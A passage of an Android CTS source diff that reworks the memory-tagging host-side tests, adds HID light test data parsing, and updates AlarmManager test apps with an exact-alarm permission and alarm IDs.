                     DEVICE_KERNEL_HELPER_PKG_NAME, DEVICE_KERNEL_HELPER_CLASS_NAME);
 
     protected static final long NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID = 135754954;
@@ -38,59 +34,81 @@
     protected static final String DEVICE_TAGGING_DISABLED_TEST_NAME = "testHeapTaggingDisabled";
     protected static final String DEVICE_TAGGING_ENABLED_TEST_NAME = "testHeapTaggingEnabled";
 
-    // Initialized in setUp(), holds whether the device that this test is running on was determined
-    // to have both requirements for tagged pointers: the correct architecture (aarch64) and the
-    // full set of kernel patches (as indicated by a successful prctl(PR_GET_TAGGED_ADDR_CTRL)).
-    protected boolean deviceSupportsTaggedPointers = false;
     // True if test device supports ARM MTE extension.
     protected boolean deviceSupportsMemoryTagging = false;
     // Initialized in setUp(), contains a set of pointer tagging changes that should be reported by
-    // statsd. This set contains the compat change ID for heap tagging iff the device supports
-    // tagged pointers (and is blank otherwise), as the kernel and manifest check in the zygote
-    // happens before mPlatformCompat.isChangeEnabled(), and thus there's never a statsd entry for
-    // the feature (in either the enabled or disabled state).
+    // statsd. This set contains the compat change ID for heap tagging iff we can guarantee a statsd
+    // report containing the compat change, and is empty otherwise. If the platform doesn't call
+    // mPlatformCompat.isChangeEnabled(), the statsd report doesn't contain an entry to the status
+    // of the corresponding compat feature. Compat isn't probed in a few scenarios: non-aarch64
+    // builds, if the kernel doesn't have support for tagged pointers, if the device supports MTE,
+    // or if the app has opted-out of the tagged pointers feature via. the manifest flag.
     protected ImmutableSet reportedChangeSet = ImmutableSet.of();
     // Initialized in setUp(), contains DEVICE_TAGGING_ENABLED_TEST_NAME iff the device supports
-    // tagged pointers, and DEVICE_TAGGING_DISABLED_TEST_NAME otherwise.
+    // tagged pointers, and DEVICE_TAGGING_DISABLED_TEST_NAME otherwise. Note - if MTE hardware
+    // is present, the device does not support the tagged pointers feature.
     protected String testForWhenSoftwareWantsTagging = DEVICE_TAGGING_DISABLED_TEST_NAME;
 
     @Override
     protected void setUp() throws Exception {
         installPackage(DEVICE_KERNEL_HELPER_APK_NAME, true);
-
         ITestDevice device = getDevice();
+
+        // Compat features have a very complicated truth table as to whether they can be
+        // enabled/disabled, including variants for:
+        //   - Enabling vs. disabling.
+        //   - `-userdebug` vs. "pre-release" `-user` vs. "release" `-user` builds.
+        //   - `targetSdkLevel`-gated changes vs. default-enabled vs. default-disabled.
+        //   - Debuggable vs. non-debuggable apps.
+        // We care most about compat features working correctly in the context of released `-user`
+        // builds, as these are what the customers of the compat features are most likely using. In
+        // order to ensure consistency here, we basically remove all these variables by reducing our
+        // device config permutations to a single set. All our apps are debuggable, and the
+        // following code forces the device to treat this test as a "released" `-user` build, which
+        // is the most restrictive and the most realistic w.r.t. what our users will use.
+        device.executeShellCommand(
+                "settings put global force_non_debuggable_final_build_for_compat 1");
+
+        // Kernel support for tagged pointers can only be determined on device.
+        // Deploy a helper package and observe what the kernel tells us about
+        // tagged pointers support.
         device.executeAdbCommand("logcat", "-c");
         device.executeShellCommand(KERNEL_HELPER_START_COMMAND);
-        String logs =
-                device.executeAdbCommand(
-                        "logcat",
-                        "-v",
-                        "brief",
-                        "-d",
-                        DEVICE_KERNEL_HELPER_CLASS_NAME + ":I",
-                        "*:S");
+        String logs = device.executeAdbCommand(
+                "logcat", "-v", "brief", "-d", DEVICE_KERNEL_HELPER_CLASS_NAME + ":I", "*:S");
 
+        // Holds whether the device that this test is running on was determined to have both
+        // requirements for ARM TBI: the correct architecture (aarch64) and the full set of kernel
+        // patches (as indicated by a successful prctl(PR_GET_TAGGED_ADDR_CTRL)).
+        boolean deviceHasTBI = false;
         boolean foundKernelHelperResult = false;
         Scanner in = new Scanner(logs);
         while (in.hasNextLine()) {
             String line = in.nextLine();
             if (line.contains("Kernel supports tagged pointers")) {
                 foundKernelHelperResult = true;
-                deviceSupportsTaggedPointers = line.contains("true");
+                deviceHasTBI = line.contains("true");
                 break;
             }
         }
         in.close();
-        uninstallPackage(DEVICE_KERNEL_HELPER_PKG_NAME, true);
         if (!foundKernelHelperResult) {
             throw new Exception("Failed to get a result from the kernel helper.");
         }
 
         deviceSupportsMemoryTagging = !runCommand("grep 'Features.* mte' /proc/cpuinfo").isEmpty();
 
-        if (deviceSupportsTaggedPointers && !deviceSupportsMemoryTagging) {
+        if (deviceHasTBI && !deviceSupportsMemoryTagging) {
             reportedChangeSet = ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID);
             testForWhenSoftwareWantsTagging = DEVICE_TAGGING_ENABLED_TEST_NAME;
         }
     }
+
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(DEVICE_KERNEL_HELPER_PKG_NAME, true);
+        ITestDevice device = getDevice();
+        device.executeShellCommand(
+                "settings put global force_non_debuggable_final_build_for_compat 0");
+    }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java
index 97406c8..15c214e 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingManifestDisabledTest extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingManifestDisabledApp.apk";
     protected static final String TEST_PKG = "android.cts.tagging.disabled";
 
@@ -32,33 +31,30 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
                 /*reportedEnabledChanges*/ ImmutableSet.of(),
-                // No statsd report for manifest-disabled apps, see truth table in
-                // /cts/tagging/Android.bp for more information.
+                // No statsd report for manifest-disabled apps because the platform compat is never
+                // probed - see `reportedChangeSet` in TaggingBaseTest for more info.
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
         // Trying to force the compat feature on should fail if the manifest specifically turns the
         // feature off.
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
                 /*reportedEnabledChanges*/ ImmutableSet.of(),
-                // No statsd report for manifest-disabled apps, see truth table in
-                // /cts/tagging/Android.bp for more information.
+                // No statsd report for manifest-disabled apps because the platform compat is never
+                // probed - see `reportedChangeSet` in TaggingBaseTest for more info.
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java
index eff9f22..2549397 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingManifestEnabledSdk29Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingManifestEnabledSdk29App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk29.manifest_enabled";
 
@@ -32,14 +31,13 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
         // Even though the manifest enables tagged pointers, the targetSdkVersion still needs to be
         // >= 30.
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -47,10 +45,9 @@
                 /*reportedDisabledChanges*/ reportedChangeSet);
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
+        // We can still force the feature on though!
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java
index f0ff916..ea8586e 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingManifestEnabledSdk30Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingManifestEnabledSdk30App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk30.manifest_enabled";
 
@@ -32,12 +31,11 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -45,10 +43,8 @@
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -56,35 +52,15 @@
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureDisabledUserdebugBuild() throws Exception {
-        // Userdebug build - check that we can force disable the compat feature at runtime.
-        if (!getDevice().getBuildFlavor().contains("userdebug")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
-                DEVICE_TAGGING_DISABLED_TEST_NAME,
-                /*enabledChanges*/ ImmutableSet.of(),
-                /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
-                /*reportedEnabledChanges*/ ImmutableSet.of(),
-                /*reportedDisabledChanges*/ reportedChangeSet);
-    }
-
-    public void testCompatFeatureDisabledUserBuild() throws Exception {
-        // Non-userdebug build - we're not allowed to disable compat features. Check to ensure that
-        // even if we try that we still get pointer tagging.
-        if (getDevice().getBuildFlavor().contains("userdebug")
-                || getDevice().getBuildFlavor().contains("eng")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDisabled() throws Exception {
+        // We're not allowed to disable compat features (see
+        // force_non_debuggable_final_build_for_compat in TaggingBaseTest for more info). Check to
+        // ensure that even if we try that we still get pointer tagging.
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
-                /*reportedEnabledChanges*/ reportedChangeSet,
+                /*reportedEnabledChanges*/ ImmutableSet.of(),
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java
index 776433e..f6ae6cf 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingSdk29Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingSdk29App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk29";
 
@@ -32,12 +31,11 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -45,10 +43,8 @@
                 /*reportedDisabledChanges*/ reportedChangeSet);
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
index fb3b288..c43a015 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingSdk30Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingSdk30App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk30";
     private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
@@ -36,9 +35,10 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testHeapTaggingDefault() throws Exception {
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
         runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
@@ -48,9 +48,7 @@
     }
 
     public void testHeapTaggingCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -58,35 +56,15 @@
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureDisabledUserdebugBuild() throws Exception {
-        // Userdebug build - check that we can force disable the compat feature at runtime.
-        if (!getDevice().getBuildFlavor().contains("userdebug")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
-                DEVICE_TAGGING_DISABLED_TEST_NAME,
-                /*enabledChanges*/ ImmutableSet.of(),
-                /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
-                /*reportedEnabledChanges*/ ImmutableSet.of(),
-                /*reportedDisabledChanges*/ reportedChangeSet);
-    }
-
-    public void testCompatFeatureDisabledUserBuild() throws Exception {
-        // Non-userdebug build - we're not allowed to disable compat features. Check to ensure that
-        // even if we try that we still get pointer tagging.
-        if (getDevice().getBuildFlavor().contains("userdebug")
-                || getDevice().getBuildFlavor().contains("eng")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDisabled() throws Exception {
+        // We're not allowed to disable compat features (see
+        // force_non_debuggable_final_build_for_compat in TaggingBaseTest for more info). Check to
+        // ensure that even if we try that we still get pointer tagging.
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
-                /*reportedEnabledChanges*/ reportedChangeSet,
+                /*reportedEnabledChanges*/ ImmutableSet.of(),
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
@@ -96,7 +74,7 @@
         }
         runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagSyncChecksEnabled",
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_SYNC_CHANGE_ID),
-                /*disabledChanges*/ImmutableSet.of());
+                /*disabledChanges*/ ImmutableSet.of());
     }
 
     public void testMemoryTagChecksAsyncCompatFeatureEnabled() throws Exception {
@@ -105,7 +83,7 @@
         }
         runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagAsyncChecksEnabled",
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_ASYNC_CHANGE_ID),
-                /*disabledChanges*/ImmutableSet.of());
+                /*disabledChanges*/ ImmutableSet.of());
     }
 
     public void testMemoryTagChecksCompatFeatureDisabled() throws Exception {
@@ -118,13 +96,44 @@
                 ImmutableSet.of(NATIVE_MEMTAG_SYNC_CHANGE_ID, NATIVE_MEMTAG_ASYNC_CHANGE_ID));
     }
 
+    // Ensure that enabling MTE on non-MTE hardware is a no-op. Note - No statsd report for
+    // NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID. The fallback for an app that requests MTE on non-MTE
+    // hardware is an implicit TBI. Compat is never probed for the status of the heap pointer
+    // tagging feature in this instance.
+    public void testMemoryTagChecksCompatFeatureEnabledNonMTE() throws Exception {
+        if (deviceSupportsMemoryTagging) {
+            return;
+        }
+        // Tagged Pointers should still be used if the kernel/HW supports it.
+        runDeviceCompatTestReported(TEST_PKG, ".TaggingTest", testForWhenSoftwareWantsTagging,
+                /*enabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_ASYNC_CHANGE_ID),
+                /*disabledChanges*/ ImmutableSet.of(),
+                // Don't check statsd report for NATIVE_MEMTAG_ASYNC_CHANGE_ID, as on non-aarch64
+                // we never probed compat for this feature.
+                /*reportedEnabledChanges*/ ImmutableSet.of(),
+                /*reportedDisabledChanges*/ ImmutableSet.of());
+    }
+
+    // Ensure that disabling MTE on non-MTE hardware is a no-op.
+    public void testMemoryTagChecksCompatFeatureDisabledNonMTE() throws Exception {
+        if (deviceSupportsMemoryTagging) {
+            return;
+        }
+        // Tagged Pointers should still be used if the kernel/HW supports it.
+        runDeviceCompatTestReported(TEST_PKG, ".TaggingTest", testForWhenSoftwareWantsTagging,
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_ASYNC_CHANGE_ID),
+                /*reportedEnabledChanges*/ reportedChangeSet,
+                /*reportedDisabledChanges*/ ImmutableSet.of());
+    }
+
     public void testMemoryTagChecksSyncActivity() throws Exception {
         if (!deviceSupportsMemoryTagging) {
             return;
         }
         runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagSyncActivityChecksEnabled",
                 /*enabledChanges*/ ImmutableSet.of(),
-                /*disabledChanges*/ImmutableSet.of());
+                /*disabledChanges*/ ImmutableSet.of());
     }
 
     public void testMemoryTagChecksAsyncActivity() throws Exception {
@@ -133,6 +142,6 @@
         }
         runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagAsyncActivityChecksEnabled",
                 /*enabledChanges*/ ImmutableSet.of(),
-                /*disabledChanges*/ImmutableSet.of());
+                /*disabledChanges*/ ImmutableSet.of());
     }
 }
diff --git a/libs/input/src/com/android/cts/input/HidLightTestData.java b/libs/input/src/com/android/cts/input/HidLightTestData.java
new file mode 100644
index 0000000..8a3bfb4
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/HidLightTestData.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.util.ArrayMap;
+
+/**
+ * Data class that stores HID light test data.
+ */
+public class HidLightTestData {
+    // Light type
+    public int lightType;
+
+    // Light color
+    public int lightColor;
+
+    // Light player ID
+    public int lightPlayerId;
+
+    // Light name
+    public String lightName;
+
+    // HID event type
+    public Byte hidEventType;
+
+    // HID report
+    public String report;
+
+    // Array of index and expected data in HID output packet to verify LED states.
+    public ArrayMap<Integer, Integer> expectedHidData;
+
+}
diff --git a/libs/input/src/com/android/cts/input/InputJsonParser.java b/libs/input/src/com/android/cts/input/InputJsonParser.java
index cec52e9..35a5df0 100644
--- a/libs/input/src/com/android/cts/input/InputJsonParser.java
+++ b/libs/input/src/com/android/cts/input/InputJsonParser.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertEquals;
 
 import android.content.Context;
+import android.hardware.lights.Light;
 import android.util.ArrayMap;
 import android.util.SparseArray;
 import android.view.InputDevice;
@@ -350,6 +351,41 @@
     }
 
     /**
+     * Read json resource, and return a {@code List} of HidLightTestData, which contains
+     * the light type and light state request, and the hid output verification data.
+     */
+    public List<HidLightTestData> getHidLightTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<HidLightTestData> tests = new ArrayList<HidLightTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            HidLightTestData testData = new HidLightTestData();
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.lightType = lightTypeFromString(testcaseEntry.getString("lightType"));
+                testData.lightName = testcaseEntry.getString("lightName");
+                testData.lightColor = testcaseEntry.getInt("lightColor");
+                testData.lightPlayerId = testcaseEntry.getInt("lightPlayerId");
+                testData.hidEventType = uhidEventFromString(
+                        testcaseEntry.getString("hidEventType"));
+                testData.report = testcaseEntry.getString("report");
+
+                JSONArray outputArray = testcaseEntry.getJSONArray("ledsHidOutput");
+                testData.expectedHidData = new ArrayMap<Integer, Integer>();
+                for (int i = 0; i < outputArray.length(); i++) {
+                    JSONObject item = outputArray.getJSONObject(i);
+                    int index = item.getInt("index");
+                    int data = item.getInt("data");
+                    testData.expectedHidData.put(index, data);
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber + " : " + e);
+            }
+        }
+        return tests;
+    }
+
+    /**
      * Read json resource, and return a {@code List} of UinputVibratorTestData, which contains
      * the vibrator FF effect of durations and amplitudes.
      */
@@ -679,4 +715,29 @@
         }
         throw new RuntimeException("Unknown button specified: " + button);
     }
+
+    private static int lightTypeFromString(String typeString) {
+        switch (typeString.toUpperCase()) {
+            case "INPUT_SINGLE":
+                return Light.LIGHT_TYPE_INPUT_SINGLE;
+            case "INPUT_PLAYER_ID":
+                return Light.LIGHT_TYPE_INPUT_PLAYER_ID;
+            case "INPUT_RGB":
+                return Light.LIGHT_TYPE_INPUT_RGB;
+        }
+        throw new RuntimeException("Unknown light type specified: " + typeString);
+    }
+
+    // Return the enum uhid_event_type in kernel linux/uhid.h.
+    private static byte uhidEventFromString(String eventString) {
+        switch (eventString.toUpperCase()) {
+            case "UHID_OUTPUT":
+                return 6;
+            case "UHID_GET_REPORT":
+                return 9;
+            case "UHID_SET_REPORT":
+                return 13;
+        }
+        throw new RuntimeException("Unknown uhid event type specified: " + eventString);
+    }
 }
diff --git a/tests/AlarmManager/AndroidManifest.xml b/tests/AlarmManager/AndroidManifest.xml
index 30395c0..8e10be6 100644
--- a/tests/AlarmManager/AndroidManifest.xml
+++ b/tests/AlarmManager/AndroidManifest.xml
@@ -17,8 +17,12 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.alarmmanager.cts" >
 
+    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
+
     <application android:label="Cts Alarm Manager Test">
         <uses-library android:name="android.test.runner"/>
+
+        <receiver android:name=".AlarmReceiver" />
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/AlarmManager/app/AndroidManifest.xml b/tests/AlarmManager/app/AndroidManifest.xml
index f5b04b6..08b42f3 100644
--- a/tests/AlarmManager/app/AndroidManifest.xml
+++ b/tests/AlarmManager/app/AndroidManifest.xml
@@ -17,6 +17,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="android.alarmmanager.alarmtestapp.cts">
 
+    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
+
     <application>
         <receiver android:name=".TestAlarmScheduler"
                   android:exported="true" />
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
index 55ea6cf..0e7b8b5 100644
--- a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
@@ -26,11 +26,13 @@
     private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
     public static final String ACTION_REPORT_ALARM_EXPIRED = PACKAGE_NAME + ".action.ALARM_EXPIRED";
     public static final String EXTRA_ALARM_COUNT = PACKAGE_NAME + ".extra.ALARM_COUNT";
+    public static final String EXTRA_ID = PACKAGE_NAME + ".extra.ID";
 
     @Override
     public void onReceive(Context context, Intent intent) {
         final int count = intent.getIntExtra(Intent.EXTRA_ALARM_COUNT, 1);
-        Log.d(TAG, "Alarm expired " + count + " times");
+        final long id = intent.getLongExtra(EXTRA_ID, -1);
+        Log.d(TAG, "Alarm " + id + " expired " + count + " times");
         final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM_EXPIRED);
         reportAlarmIntent.putExtra(EXTRA_ALARM_COUNT, count);
         reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
index 0623c79..991e165 100644
--- a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
@@ -21,6 +21,7 @@
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.os.SystemClock;
 import android.util.Log;
 
 /**
@@ -45,10 +46,12 @@
         final AlarmManager am = context.getSystemService(AlarmManager.class);
         final Intent receiverIntent = new Intent(context, TestAlarmReceiver.class);
         receiverIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        final long id = SystemClock.elapsedRealtime();
+        receiverIntent.putExtra(TestAlarmReceiver.EXTRA_ID, id);
         final PendingIntent alarmClockSender = PendingIntent.getBroadcast(context, 0,
-                receiverIntent, PendingIntent.FLAG_MUTABLE);
+                receiverIntent, PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
         final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1, receiverIntent,
-                PendingIntent.FLAG_MUTABLE);
+                PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
         switch (intent.getAction()) {
             case ACTION_SET_ALARM_CLOCK:
                 if (!intent.hasExtra(EXTRA_ALARM_CLOCK_INFO)) {
@@ -57,7 +60,7 @@
                 }
                 final AlarmManager.AlarmClockInfo alarmClockInfo =
